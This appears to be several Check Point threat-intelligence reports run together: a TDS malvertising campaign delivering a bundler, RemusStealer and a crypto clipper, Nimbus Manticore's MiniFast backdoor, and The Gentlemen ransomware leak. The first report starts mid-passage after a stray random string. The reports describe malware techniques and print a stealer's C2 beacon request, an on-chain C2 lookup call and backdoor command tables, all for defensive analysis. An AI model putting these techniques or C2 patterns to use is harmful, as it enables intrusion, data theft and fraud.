q2lOy0GwLqW1yRwIYAzH33CjBV9PoRrA
The loader then combines this c1 output with a hardcoded constant to derive the AES key material for DLL #2.
Implication: per-client, one-time keys and strong server-side gating
In controlled experiments, we repeatedly observed that the “CRC” C2 endpoint can return different values across requests for the same version=<hash>. This behavior aligns with the broader design of the campaign:
The stage-2 payload appears to be generated per client session, and
DLL #2 cannot be decrypted unless the correct c1 output is obtained for the matching build.
Based on traffic captures and repeated retrieval attempts, our working assessment is that the “CRC” C2 likely implements one-time key release semantics and additional gating tied to victim context, such as the originating IP address / session state. In practice this means:
the correct key material may be released only once for the intended victim session, and
subsequent requests (or requests from a different IP) may be answered with a valid-looking but non-functional random string, causing the stage-2 loader to decrypt DLL #2 into garbage rather than a valid PE image.
This design significantly complicates research. Even when an analyst captures a full redirect chain and obtains a sample quickly, the server-side constraints can prevent reliable reproduction of the key exchange needed to decrypt and analyze the final payload (DLL #2).
DLL#2 – Decrypted Payload: The “Installer/Offer Framework” Module
After we succeeded in capturing a clean end-to-end delivery run and decrypting the embedded modules, we obtained a second-stage DLL that implements the real business logic: tracking, configuration retrieval, payload selection, download, and silent execution.
This section describes that decrypted module and its capabilities.
In this sample, we observed the same code patterns and obfuscation techniques as in all previously analyzed modules, which clearly indicates that they belong to the same malware family.
The decrypted payload is best described as a network-controlled installer/bundler framework. It is designed to look and behave like a legitimate installer when observed superficially, while quietly performing a server-driven download-and-execute workflow in the background.
Importantly, we did not observe stealer or RAT behavior in this module: there is no evidence of credential theft, browser database scraping, keylogging, or interactive remote control. Instead, the module is intended for configurable delivery (server-controlled payload URLs), and silent installation of additional software.
From a defensive perspective, this still makes it high-risk. Any component that can fetch configuration from a remote server and then download and execute binaries on demand is a delivery primitive that can be abused to distribute malware.
A quick map of the core workflow
At a high level, the DLL implements the following pipeline:
Build encrypted request.
Retrieve encrypted config from C&C server (appmakingcenter[.]com in the analyzed sample).
Decode config into key/value table, fetch download URL.
Download payload.
Execute silently via cmd.exe .
Send telemetry/tracking events
The implementation is structured around a small set of reusable building blocks:
an encrypted “panel protocol” over HTTPS,
a configuration decoder and parser,
downloaders,
a silent process launcher,
multiple tracking/telemetry helpers.
Figure 12 – C&C domain, and endpoints in the decrypted strings.
What software does it appear to install?
The decrypted module contains many product-facing strings (installer UI text, product names, and expected post-install executable paths under AppData\\Local\\Programs\\...). At first glance, this looks like a hardcoded “bundle portfolio” (PDF Spark, PDF Proton, PDF Ignite, PDF Skill, Document Sparkle, NibblrAI, PCPooch). However, as we described above, the DLL is a multi-product installer shell driven by server configuration, not a collection of fixed download links.
Figure 13 – The list of products that can be installed.
Concretely, the module retrieves an encrypted backend configuration, decodes it into an internal key/value table, and then:
uses a numeric product identifier from the table (config key 22) to select which product branding/UI texts to display, and which expected executable path to use for post-install launch (via CreateProcessW);
uses a download URL from the same table (config key 11, PRODUCT_DOWNLOAD_URL) as the input to its WinINet downloader.
This design explains why you can see many product names and installation paths in the DLL while not seeing their download URLs as plaintext: the URLs are supplied dynamically by the backend.
Finally, if the backend config is missing key 11, the parser initializes PRODUCT_DOWNLOAD_URL to a hardcoded 7-Zip installer URL (https://www.7-zip.org/a/7z2301-x64.exe), which can be overridden by a full server response.
Case 2: RemusStealer
In the second case we analyzed, the TDS redirection chain ends with a landing page that provides a link to download a password-protected ZIP archive and the password required to open it.
Figure 14 – Link for downloading a password protected archive.
The archive is approximately 14 MB, but after extraction it contains a single executable whose on-disk size is about 850 MB. The file is artificially inflated by large zero-filled padding: the actual non-zero content is roughly 32 MB once the padding is removed.
This inflation is a practical evasion technique. Oversized binaries can slow down or break automated processing (static unpacking, AV scanning pipelines, sandbox analysis) and can also bypass tooling or policies that impose file-size limits or timeouts during analysis.
The executable itself is a first-stage loader written in Go. It contains an embedded malicious payload in .rdata that is decoded at runtime using a simple transform, and is executed via manual PE mapping.
Payload: Remus Stealer
The embedded second-stage payload is a C2-controlled infostealer marketed as Remus (a MaaS stealer). The first public listing we observed for “Remus” was posted on a Russian-language underground forum by a user named RemusStealer on February 12, 2026.
According to the vendor advertisement, Remus is positioned as a subscription product (two tiers advertised at $250 and $500) with a focus on broad browser and extension collection, a custom exfiltration protocol with encryption, and heavy use of low-level OS interaction (“system calls”).
RemusStealer implements the following functionality:
C2-driven collection (“tasking”): the server defines what is collected per run by sending encrypted JSON tasks; multiple tasks can be executed sequentially until the server signals completion.
Browser data theft:
Chromium family: History, Login Data, Login Data For Account, Network\\Cookies, Web Data
Chromium key material: extracts the master key from Local State via DPAPI (CryptUnprotectData) and uploads it as a separate /Key artifact.
Extension-driven theft: the server can pass an explicit list of extension targets (extensions[] objects with {name, path}), allowing selective collection.
File system search + exfiltration: server-controlled search rules (path, mask, depth, size limit, link handling) with %ENV% expansion (e.g., %APPDATA% paths).
Registry reconnaissance: server-controlled queries of arbitrary path/value pairs, with HKCU-relative support and WOW64 view retry logic.
Clipboard theft: captures CF_UNICODETEXT, exfiltrated as Clipboard.txt (collected once per run).
Screenshot capture: supported and exfiltrated as Screenshot.bmp when enabled by an internal flag (not unconditional in this build).
Operationally, this architecture gives the operator fine-grained control over collection scope. For example, the backend can define which browser extensions to target, which file name patterns to search for, which registry values to query for environment profiling, and so on.
Tasking protocol overview
The binary contains an encrypted C2 list that is decrypted at runtime. In the analyzed sample, the decrypted C2 endpoints were:
http://buccstanor[.]pics:28313 (primary)
http://baxe[.]pics:48261 (fallback)
The stealer polls the C2 using HTTP POST requests that include an access_token and an incrementing step counter. The requests use a Firefox browser User-Agent string, to blend in with normal browser traffic:
POST / HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Content-Length: 56
Host: baxe.pics:48261
access_token=57fe0587-863c-432d-9f4b-bf785a9560e8&step=1
Each server response is an encrypted JSON object with keys:
type — numeric command type (parsed as a number and used as an integer selector)
data — command parameters (object or list, depending on type)
name — base64 string used by type=0
extensions — list of {name, path} objects used by type=3 and type=4
Task responses are delivered as encrypted JSON. After decoding, entries resolve into a label and extension identifier, with occasional control flags (sync, indb) used by the malware logic.
A decrypted example task instructing the stealer to collect Chrome browser extension data looks as follows:
Notably, the identifiers are not limited to Chrome Web Store-style IDs: the list also contains email-like IDs (e.g., webextension@…) and GUID-style identifiers, suggesting the operator’s targeting list is designed to cover multiple browser ecosystems and packaging schemes.
The agent executes tasks in a loop until the server returns a stop command.
Implemented commands
Task type
Purpose
Expected fields
What the stealer does
0
File-system search + exfiltration
data contains: path, mask, depth, size, link; plus top-level name (base64 label). path supports %ENV% expansion.
Expands %ENV% paths, traverses directories with filters/limits, collects matching file contents, packages results, and uploads them to C2.
1
Reserved / no-op (this build)
type only
No task handler is executed. The agent performs only the standard loop housekeeping and proceeds to the next step.
2
Registry reconnaissance (arbitrary value queries)
data is a list of objects with: path, value, name
Opens keys via native NT registry APIs, queries requested values, retries using an alternate WOW64 view when needed, supports HKCU-relative paths, and returns results as labeled artifacts.
Uses extensions ({name, path}) and additional control flags from data (e.g., history, plus short flags observed as indb/sync).
Collects Chromium artifacts (History, Login Data, Cookies, Web Data), extracts key material from Local State via DPAPI (CryptUnprotectData), and uploads the decrypted blob as a /Key artifact.
4
Firefox/NSS profile discovery + profile theft
Uses extensions ({name, path})
Searches for profile directories by checking for \\key4.db; when found, collects the Firefox/NSS artifact set (including key4.db, cert9.db, cookies.sqlite, logins.json, places.sqlite, prefs.js, extensions.webextensions.uuids) and uploads them.
5
Stop / end of tasking
type only
Signals completion: the agent exits the task loop and proceeds to its post-task upload sequence before terminating.
Case 3: ClickFix, and a Crypto Clipper with On-Chain C2 Resolution
In this TDS branch, the user is ultimately led to a ClickFix-style phishing page (processing-in-progress-x4.t3.storage[.]dev), after which the infection chain proceeds to silently install a cryptocurrency clipper malware that some vendors identify as AnimateClipper.
Figure 16 – A phishing page using the ClickFix technique to trick the victim into silently running a malicious downloader.
The page that imitates a Cloudflare verification screen and instructs the user to run:
mshta.exe is a built-in Windows utility intended to run HTML Applications (HTA). It is often abused by threat actors because it can execute script-based content directly from a remote URL using a system binary already present on the machine.
The object fetched from https://185.0xA1.0xFB[.]58/navy.7z is not a normal 7-Zip archive. Its beginning contains an HTA page with obfuscated VBScript, which mshta.exe executes. The appended archive content is benign decoy data and does not participate in the infection chain.
Despite the .rtf extension, this resource is a heavily obfuscated PowerShell script. After deobfuscation, we found that it reconstructs an additional PowerShell stage in memory and uses an RC4-based routine to decrypt the next payload.
This file also does not match its extension. In the observed chain, it is a ZIP archive containing a bundled Python environment, third-party libraries, Node.js modules, and a large heavily obfuscated Python script stored in node_modules.asar. Despite its name, node_modules.asar is not an Electron ASAR archive, but a Python loader disguised to blend in with the package contents.
The obfuscated script embeds a large shellcode blob directly in its body and launches it from memory. It copies the shellcode into a buffer, changes the memory protection to executable, and transfers execution to it via ntdll!LdrCallEnclave. In the sample we analyzed, the shellcode is executed in-process, inside the current bundled Python interpreter.
Once running, the shellcode acts as an in-memory loader for the next stage. It decrypts and decompresses an embedded payload container and manually maps the resulting PE payload into the same process memory. In other words, node_modules.asar is not a passive archive or Electron artifact, but the actual Python-based launch stage that executes shellcode and hands off execution to the next payload without writing the unpacked PE to disk.
Final payload: crypto clipper with on-chain C2 resolution
At a high level, the final payload is a clipboard-hijacking crypto clipper: it continuously monitors the clipboard for cryptocurrency wallet strings, identifies the wallet format locally, replaces the copied address with one of multiple attacker-controlled wallet addresses embedded in the sample, and writes the modified value back to the clipboard. In practice, this means a victim can copy a legitimate wallet address, paste it moments later, and unknowingly send funds to the attacker instead.
When executed, AnimateClipper first resolves its C2 by querying a smart contract over the public BNB Smart Chain Testnet JSON-RPC endpoint. The sample issues the following request:
POST https://data-seed-prebsc-1-s1.binance.org:8545/
{"id":1,"jsonrpc":"2.0","method":"eth_call","params":[{"to":"0x6936edc505501EBB2F202C985a021a06f1c10C9E","data":"0x3bc5de30"},"latest"]}
At the time of our analysis, the contract response resolved to the C2 domain:
kr.hugo-lapp.co
The malware uses HTTPS to communicate with the resolved C2 server. In the analyzed build, the observed logic includes periodic refresh check-ins and a second request format intended to report address-replacement activity. The replacement wallets themselves are fully embedded in the binary.
The hardcoded replacement addresses observed in the analyzed sample include:
We also reviewed incoming transactions to the wallet addresses embedded in this sample. In the dataset we analyzed, the earliest inbound payments were recorded in July 2025, with the first observed transaction dated July 12, 2025. This indicates that the operation has likely been active for a prolonged period and suggests that the TDS-driven infection chain we observed may be only one of several distribution paths used to deploy the malware. While the observed on-chain inflows are modest, they nevertheless show that the embedded wallets received real funds.
Conclusion
This campaign is a reminder that “looking official” is not a meaningful security signal. The entry sites mimic legitimate open-source project portals, preserve real GitHub links to pass quick visual checks, and then use click interception to route the first download click into a gated TDS stack. From the user’s perspective, the path is deceptively simple: top Google result, polished “project” site, download. Under the hood, that single click can become a non-deterministic redirect chain that the victim never agreed to and cannot easily audit.
One of the most striking aspects of the campaign is the SessionGate branch used to deliver PUA. Its combination of server-side registration, one-time-style key release, per-session payload generation, and heavy obfuscation goes far beyond what is typically seen in commodity bundler chains. In practice, these counter-analysis measures make even obtaining the final payload unusually difficult for researchers. While such aggressive gating likely reduces overall delivery efficiency, at this campaign’s scale it is a rational tradeoff for the operators: it also reduces analyst visibility, delays detection, and helps the activity remain under the radar for longer. This is reflected in public telemetry — despite thousands of VirusTotal submissions for the initial loader and hundreds of related intermediate samples, we did not identify the final payload on VirusTotal.
Even if the upstream traffic source is not intended to distribute malware, repeated diversion of users into gray and malicious chains strongly suggests insufficient partner vetting and weak abuse prevention across the supply path. Mechanisms such as sending users somewhere other than the visible link target and handing sessions off to third-party infrastructure outside the original platform’s control are, at minimum, hallmarks of unfair and deceptive traffic practices, not transparent advertising.
More broadly, the embedded TDS layer behaves like a broker between ecosystems: it allows downstream operators to selectively receive only the sessions they want, based on GEO, browser fingerprinting, anti-bot checks, and capping. That makes attribution harder and accountability more diffuse — the impersonation operator does not need to be the malware author to enable malware delivery at scale.
Protections
Check Point Threat Emulation and Harmony Endpoint provide comprehensive coverage of attack tactics, file types, and operating systems and protect against the attacks and threats described in this report.
The Iranian, IRGC affiliated, threat actor Nimbus Manticore resurfaced during Operation Epic Fury, the US military campaign against Iran launched on February 28, 2026, demonstrating newly adopted techniques and enhanced capabilities.
The campaign leveraged malicious lures impersonating organizations in the aviation and software sectors across the United States, Europe and the Middle East.
For the first time, we observed the use of SEO poisoning as an additional malware delivery method.
The operation introduced a previously undocumented backdoor, named MiniFast, which appears to incorporate AI-assisted development practices, enabling the threat actor to rapidly develop and adapt tooling while maintaining high operational availability during the war.
The actor also used a Zoom installer’s execution flow and abused it to stage a time-sensitive infection chain for malware deployment while blending into legitimate system activity.
Introduction
During the recent geopolitical tensions in the Middle East, we reported on multiple Iran-nexus threat actors advancing Iran’s strategic objectives through cyber operations. These activities included targeting internet-connected cameras, conducting destructive attacks against US and Israeli entities, and exfiltrating data from cloud environments to support broader kinetic and intelligence-gathering efforts.
Nimbus Manticore (also tracked as UNC1549) is an IRGC-affiliated threat actor who primarily targets the defense, aviation and telecommunication sectors through career-themed phishing campaigns. Nimbus Manticore stands out compared to other Iranian-linked groups due to its complex malware toolset.
In 2025, we documented the MiniJunk malware framework used by Nimbus Manticore to target high-profile organizations across Western Europe and the Middle East.
In the recent campaign, the actor adopted several new techniques, including AppDomain (application domain) hijacking, AI-assisted malware development, and SEO poisoning.
In this article, we focus on three waves of the threat actor’s activity in the last few months, as well as discuss their latest techniques.
Figure 1 – 2026 campaign timeline during the ongoing military campaign.
Campaign 1: Rising Tension
In February 2026, amid rising tensions between the US, Israel and Iran and weeks of military buildup, we monitored new Nimbus Manticore phishing activity worldwide. In this campaign, the threat actor introduced a modified infection chain by abusing AppDomain Hijacking for execution instead of relying on the usual DLL sideloading techniques.
AppDomain Hijacking is a technique that abuses legitimate .NET applications to load a malicious DLL at launch time. This is achieved by placing a Trojanized XML .config file in the same directory as the target application. The configuration file, named after the abused binary with the .config suffix, specifies an attacker-controlled AppDomainManager class that points to a malicious DLL. When the application starts, the .NET runtime loads the DLL, enabling malicious code execution within the context of the trusted process.
Figure 2 – Config file pointing the appDomainManager class to the attacker-controlled DLL.
The phishing lure is consistent with previous Nimbus Manticore campaigns, targeting employees in selected organizations (primarily software and aviation sectors) with fake career opportunities. Targeted organizations in Saudi Arabia and Australia were directed to download a compressed ZIP archive stored on the OnlyOffice platform.
Figure 3 – ZIP file hosted on Onlyoffice.
The downloaded ZIP file contains these files:
Setup.exe – Benign Microsoft-signed binary.
Setup.exe.config – AppDomain Hijacking configuration file pointing to uevmonitor.dll.
uevmonitor.dll – A first stage Dropper.
Interop.TaskScheduler.dll – a benign DLL.
Figure 4 – Zip file masquerading as an Accenture job opportunity.
After the setup.exe binary is executed, the first-stage loader (uevmonitor.dll) is loaded. This component is responsible for extracting and deploying the next-stage payload, which is stored in encrypted form within the loader itself.
The extracted files are written into C:\Users\<USER>\AppData\Local\Packages\ and include a legitimate executable used for DLL sideloading alongside a malicious DLL identified as a new version of the MiniJunk backdoor.
The first-stage loader uevmonitor.dll shares multiple behaviors similar to older MiniJunk loader variants. These include validating that it is loaded specifically by the Setup.exe process and displaying a fake error message stating "Couldn't connect to survey server" to appear as a legitimate application failure and reduce user suspicion.
During Operation Epic Fury, we continued to observe activity from the threat actor. Despite the challenging environment, Nimbus Manticore demonstrated a strong ability to rapidly adapt, maintain infrastructure, and develop new tooling. We assess that this capability was likely supported, at least in part, by LLM-based tools and AI-assisted development techniques.
In addition to career-themed phishing lures masquerading as a US-based airline, the threat actor also used a Trojanized Zoom installer, which we assess was part of a phishing campaign using fake meeting invitations. In addition, the Trojanized Zoom installer demonstrated in-depth research into the original application’s installation and execution flow, enabling it to be seamlessly integrated into the infection chain.
Similar to previous campaigns, the threat actor continued leveraging AppDomain Hijacking, not just for the initial execution stage but also during the deployment and execution of the final backdoor. For the final payload, the threat actor introduced a new backdoor that we named MiniFast, replacing the previously used MiniJunk malware family.
Many of the files used throughout the campaign had valid digital signatures via SSL.com, continuing the abuse of trusted signing infrastructure we previously documented in our 2025 report. We identified the use of at least two certificates during the current activity, including:
Gray Matter Software S.R.L.
Kirubel Kerie Negeya
Infection Chain
The infection chain begins with the victim downloading a compressed archive named Zoominstall64.zip, which contains the following files:
Setup.exe.config – AppDomain Hijacking configuration file pointing to InitInstall.dll.
InitInstall.dll – First-stage loader.
Zoom_cm.exe – Original Zoom installer.
UpdateConfig.xml – AppDomain Hijacking configuration file pointing to Updater.dll.
Updater.dll – Second-stage loader.
UpdateChecker.dll – Final backdoor payload (MiniFast).
First-Stage Deployment
After Setup.exe is launched by the user, the first-stage loader (InitInstall.dll) is executed through AppDomain Hijacking using the accompanying .config file.
The loader itself is lightly obfuscated. Most readable strings are decrypted at runtime using a simple combination of ROT13 encoding and reversed-string transformations. Aside from the string obfuscation layer, the codebase contains meaningful function names and relatively well-structured logic. Execution begins with the malware displaying a fake installation progress window intended to mimic legitimate software installation activity. At the same time, the loader launches the legitimate Zoom installer (Zoom_cm.exe) to make the execution flow appear to the victim as a normal software installation.
Persistence through Task hijacking
After launching the installer, the malware enters a loop that lasts approximately one minute, continuously monitoring the system for the creation of a scheduled task matching this format:
ZoomUpdateTaskUser-<current user SID>
This scheduled task is usually created by the legitimate Zoom installer during installation.
When the task is created, the malware hijacks and modifies it to execute the second-stage component instead. By abusing an existing Zoom scheduled task rather than creating a new suspicious persistence mechanism, the malware attempts to blend into legitimate system activity and reduce detection opportunities.
Second-Stage Deployment
The next-stage files are copied into C:\Users\<USER>\AppData\Local\Zoom\bin\update. This directory contains four files copied from the original archive, including the benign Microsoft-signed binary from the first stage, now renamed to Update.exe. The malware again abuses AppDomain Hijacking to load the second-stage loader (Updater.dll) through the trusted Update.exe process.
Similar to the first stage, the second-stage loader uses the same runtime string decryption routine based on ROT13 and reversed strings.
At the beginning of its execution, the loader performs a simple anti-analysis validation intended to evade sandbox environments and automated dynamic analysis systems. The malware only continues execution if:
The hosting process name is update.exe
The parent process is svchost.exe
This execution-chain validation ensures that the DLL is loaded by the malware’s intended loader component and that execution originates from the scheduled-task persistence mechanism instead of launched directly through explorer.exe etc.
The primary purpose of the second-stage loader is to dynamically load the final MiniFast payload (UpdateChecker.dll), locate its exported function named CheckForUpdates, and execute it.
Adoption of AI
This campaign also provides multiple indications that the threat actor leveraged AI-assisted development during the malware creation. We see evidence for this in both the initial access loaders and within the MiniFast backdoor itself.
Several coding patterns and implementation details strongly suggest the use of AI-generated or AI-assisted code during development, including:
Excessive error handling and defensive programming logic, even around simple API calls such as GetUserName.
Repetitive function and method naming patterns containing descriptive or verbose identifiers.
Multiple detailed error-reporting strings and debug-style status messages embedded throughout the codebase.
Modular code organization despite the malware’s overall simplicity.
These characteristics are increasingly prevalent in malware development as threat actors leverage AI-assisted tools to accelerate development, improve code structure, and rapidly utilize new capabilities.
Campaign 3: Post Ceasfire – “SQL developer” Campaign
In April, we observed a new infection method, a fake website impersonating a download page for SQL Developer, a graphical tool used for working with databases. Users who attempted to download the software from the fake site instead received a weaponized installer that delivered the MiniFast backdoor.
Figure 6 – Screenshot of the getsqldeveloper[.]com site.
This malware delivery method differs from Nimbus Manticore’s usual infection chains which typically rely on career-themed phishing lures. In this campaign, the actor abuses search engine optimization techniques by registering dozens of domains that link to the bogus domain, getsqldeveloper[.]com. This is likely an attempt to increase the site’s visibility through link-based reputation signals.
At the time of our analysis, the malicious domain ranked high in the results returned by multiple search engines, such as Bing and DuckDuckGo, for the query “sql developer.” This increased the likelihood that users searching for legitimate SQL Developer downloads would encounter the site.
The pages also rely on keyword stuffing, repeatedly using search-oriented phrases such as “Download SQL Developer” and “SQL Developer Free,” likely to improve ranking for users searching for SQL Developer-related downloads.
MiniFast Technical Analysis
MiniFast is a 64-bit Windows PE DLL that exposes a single export named CheckForUpdates which acts as the main entry point. The DLL operates as a fully featured backdoor designed for long-term persistence and remote command execution. Analysis of multiple samples indicates the malware is undergoing active development, with the threat actor continuously modifying and improving the implant across versions.
Figure 7 – Export function CheckForUpdates structure.
Similar to the previous stage, the backdoor again appears to be executing under the expected process chain by verifying that the hosting process is named update.exe and that its parent process is svchost.exe
The implant communicates with its C2 (command and control) infrastructure using an API-style architecture with JSON-formatted data exchanges. To blend into legitimate network traffic, the malware impersonates a Chrome browser using the following hardcoded User-Agent string: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36
The backdoor implements several structured HTTP endpoints throughout the infection lifecycle:
URI
Method
Purpose
/rg
POST
Initial handshake
/agent/init
POST
Initial victim registration
/agent/poll?token=
GET
Task retrieval
/agent/result
POST
Command execution result upload
/upload/
PUT
File exfiltration
/files/
GET
File download from the C2
Before entering its tasking loop, the malware performs basic host reconnaissance by collecting information such as the username, hostname, and domain info, and then submits the collected data as a unique clientId to the /rg endpoint using a POST request.
If the server responds with HTTP status code 200, the backdoor skips parsing the response body and continues executing normally. However, when the server responds with status code 400, the malware parses the returned JSON object and extracts a socketId, which acts as the session identifier for all future communications.
In addition, the server response may include updated values for pollInterval and jitterTime, allowing the operator to dynamically adjust the timing between subsequent communications with the C2 infrastructure.
Next, the backdoor continues to register the infected host by again sending the machine information, this time to the /agent/init in the following format:
Only after it receives an HTTP status code 200 from the C2 server does the backdoor proceed to fetch commands for execution using a GET request to /agent/poll?token=<socketId>.
Here, the communication between the implant and the C2 server is not in a JSON format and is performed using Base64-encoded serialized task structures, where each response contains one or more encoded tasks that are later decoded and processed by the backdoor.
Each task is then Base64-decoded into a secondary structure, containing the opcode and associated arguments:
struct TaskRecord {
uint8_t opcode;
uint8_t pad[7]; // alignment
custom_str_struct arg_main; // at offset +0x08: main command argument
custom_str_struct arg_aux; // at offset +0x28: secondary arg (if needed)
custom_str_struct taskId; // at offset +0x48: unique task identifier
}
The opcode determines which capability is executed, while the remaining fields contain command arguments and task tracking identifiers. The malware implements a structured opcode-based command handler that provides operators with extensive control over infected systems.
Figure 8 – MiniFast Command switch.
The supported command set:
Opcode
Capability
Arguments
Description
0x02
List Directory
path
Lists files and folders inside a specified directory.
0x03
Move / Rename
source, destination
Moves or renames files and directories on the victim machine.
0x04
Execute Command
command
Executes shell commands using cmd.exe /c and returns captured output.
0x05
Enumerate Processes
None
Enumerates running processes and returns process names alongside their PIDs.
0x06
Delete File / Directory
path
Deletes files or directories depending on the target type.
0x07
Download File
fileUuid, destinationPath
Downloads a file from the C2 server to the local machine.
0x08
Upload File
path
Uploads local files from the infected machine to the C2 server.
0x09
Enumerate Drives
None
Lists available logical drives on the infected machine.
0x0A
Kill Process
pid
Terminates a process using its PID.
0x0B
Load DLL
dllPath, exportName
Dynamically loads a DLL and invokes a specified exported function.
0x0C
Create Directory
path
Creates a new directory on the victim machine.
0x0D
Create ZIP Archive
sourcePath, zipPath
Creates a ZIP archive from files or directories.
0xB0
Request UAC Elevation
pathOrCommand
Attempts to relaunch a process with elevated privileges using runas.
0xB1
Install Persistence
binaryPath
Creates or updates a scheduled task named WindowsSecurityUpdate.
0xF0
Set Poll Interval
milliseconds
Updates the beacon polling interval.
0xF1
Idle Command Acknowledge
None
Acknowledges an idle-time command without modifying behavior.
0xF2
Set Jitter
milliseconds
Updates the jitter value applied to beacon intervals.
Default
Unknown Opcode
Any
Returns an error for unsupported commands.
After executing a task, the implant serializes the execution result into a dedicated response structure which is Base64-encoded and submitted back to the C2 server through the /agent/result endpoint. The encoded result object contains the task identifier, execution status, and command output:
Nimbus Manticore consistently focuses on Europe, the Middle East and Africa, particularly Israel and the United Arab Emirates. However, in contrast to our previous research, the actor’s recent operations demonstrate an expansion toward aviation-sector targets in the United States.
As observed in prior campaigns, there appears to be a strong correlation between the phishing lure and the targeted sector. For example, fraudulent hiring portals impersonating aviation companies were used to target employees and organizations operating within that industry. In the current campaign, impersonate US domestic airlines suggest a deliberate focus on US-based targets.
Our findings indicate targeting extends across several strategic sectors, including aviation and software development. These sectors align with the IRGC’s broader intelligence collection priorities.
Figure 9 – Geographic Distribution of victims around the world.
Conclusion
Nimbus Manticore is one of the most sophisticated Iranian-aligned threat actors with a long-standing focus on the defense, telecommunications, and aviation sectors. The ongoing conflict in the Middle East, combined with the operational demands of wartime activity, appears to have significantly accelerated their malware evolution.
As an IRGC-affiliated entity operating under heightened geopolitical conditions, Nimbus Manticore demonstrated a rapid adoption cycle for new techniques, tooling, and operational methodologies. The actor’s activity during Operation Epic Fury highlights their increasing adaptability, particularly through the integration of AI-assisted malware development, novel infection vectors, and advanced stealth mechanisms.
On May 4th, 2026, The GentlemenRaaS administrator acknowledged on underground forums that an internal backend database (Rocket) had been leaked. This leak exposed 9 accounts, including zeta88 (aka hastalamuerte), who runs the infrastructure, builds the locker and RaaS panel, manages payouts, and effectively acts as the administrator of the program.
The internal discussions provide a rare end‑to‑end view of the operation: they detail initial access paths (Fortinet and Cisco edge appliances, NTLM relay, OWA/M365 credential logs), the division of roles, the shared toolsets, and the group’s active tracking and evaluation of modern CVEs such as CVE-2024-55591, CVE-2025-32433, and CVE-2025-33073.
Screenshots from ransom negotiations were also leaked, showing a successful case where the group received 190,000 USD, after starting with an initial demand (anchor) of 250,000 USD.
Further chats indicate that stolen data from a UK software consultancy was later reused to attack a company in Turkey. The Gentlemen used this during negotiations as a dual‑pressure tactic: they portrayed the UK firm as the “access broker,” while mentioning to provide “proof” to the Turkish company that the intrusion originated from the UK side and encouraging it to consider legal action against the consultancy.
By collecting all available ransomware samples, Check Point Research identified 8 distinct affiliate TOX IDs, including the administrator’s TOX ID. This suggests that the admin not only manages the RaaS program but also actively participates in, or directly carries out, some of the infections.
Introduction
The Gentlemen ransomware‑as‑a‑service (RaaS) operation is a relatively new group that emerged around mid‑2025. Its operators advertise the service across multiple underground forums, promoting their ransomware platform and inviting penetration testers and other technically skilled actors to join as affiliates.
In 2026, based on victims listed on the data leak site (DLS), The Gentlemen appears to be one of the most active RaaS programs, with approximately 332 published victims in just the first five months of 2026. This volume places the group as the second most productive RaaS operation in that period, at least among those that publicly list their victims.
During our previous publication, Check Point Research analyzed a specific infection carried out by an affiliate of this RaaS. In that case, the affiliate used SystemBC, and the associated command‑and‑control (C&C) server revealed more than 1,570 victims.
In this publication, we focus on the affiliate program itself and the actors who participate in it. On May 4th, 2026, The Gentlemen administrator acknowledged the leak of an internal database used by the group, which contained operational information about their infrastructure, affiliates, and victims. Check Point Research obtained what appears to be a partial leak of the group’s internal chats and related data, which was briefly posted on an underground forum before being removed. Later on, the leak also appeared on another underground forum.
The leaked material includes detailed conversations between the RaaS operators and their affiliates across several internal channels (such as INFO, general, TOOLS, and PODBOR). In these chats, they coordinate ongoing intrusions, exchange toolsets and EDR‑kill packages, discuss infrastructure and backend components (including the Rocket database and NAS storage), review CVEs and exploit paths (for example Fortinet, Cisco, and NTLM relay issues), and talk about specific victims, campaigns, and payouts. Together, these messages provide a rare inside view of how The Gentlemen plans, executes, and scales its ransomware operations.
The Gentlemen RaaS Admin
The Gentlemen RaaS administrator has been very active and vocal on various underground forums, trying to attract affiliates with an aggressive profit-sharing model: 90% for affiliates and 10% for the operator.
In September 2025, in one of the first posts promoting the RaaS program, the account Zeta88 published a message advertising the service and inviting individual penetration testers to join as affiliates.
Figure 1 — Zeta88 advertising The Gentlemen’s RaaS.
Later on, the official posts for this ransomware program started to be published by another account, The Gentlemen. The administrator also shared their TOX ID across several forums.
Figure 2 — RaaS admin in underground forum.
The same TOX ID can be seen on the onion data leak site (DLS), where it is used by affiliates or compromised victims to contact the administrator.
Figure 3 — Onion page TOX ID.
In a post on an underground forum, where the administrator demonstrated how affiliates can build the ransomware, we can see the administrator’s profile page, where their TOX ID is again visible in the corresponding field.
Figure 4 — Image uploaded by RaaS admin.
In the second shared image, we again observe the same TOX ID and see how the target or victim entry is supposed to look from an affiliate’s perspective.
Figure 5 — Image uploaded by RaaS admin.
Considering that the initial post was made by Zeta88, it is likely that this account belongs to the administrator and that their TOX ID is F8E24C7F5B12CD69C44C73F438F65E9BF560ADF35EBBDF92CF9A9B84079F8F04060FF98D098E. This assessment is based on the fact that the same TOX ID appears consistently across different contexts: in the early recruitment posts, in the onion data leak site (DLS), and in the screenshots showing the administrator’s profile and communication fields. Taken together, these overlaps strongly suggest that Zeta88, the later The Gentlemen account, and this TOX ID are all controlled by the same RaaS administrator.
RaaS Affiliates
Check Point Research collected most of the available artifacts related to The Gentlemen RaaS from online sources. Based on the current 412 public victims listed on the data leak site (DLS), and considering that there are likely additional victims who paid and therefore were not published, we identified 29 unique campaigns in public sources such as VirusTotal.
For each of these 29 campaigns, we extracted the TOX ID associated with the corresponding affiliate. Our analysis shows that these campaigns were conducted by 8 unique TOX IDs.
There are almost certainly more affiliates involved in this group, however, based on our current locker visibility, we can confidently confirm 29 discovered campaigns and ransomware samples.
Based on this small collection of samples, most of the campaigns appear to have been conducted by the affiliate using the TOX ID 98C132E2B20B531BE6604397D97040C1E9EB42FCE12EDF119BCE8B4031CA5C70DAF5E65FA3C3. It is also noteworthy that the RaaS administrator’s TOX ID has been observed in four unique infections. This suggests that the administrator not only manages the RaaS program but also actively participates in, or directly carries out, some of the infections.
RaaS Leak
On May 4th, 2026, on an underground forum, the RaaS administrator published a post acknowledging the claims of an internal leak involving their so‑called Rocket database, an internal backend system used to store operational data, and addressed his affiliates directly about the incident.
Figure 6 — The Gentlemen RaaS post.
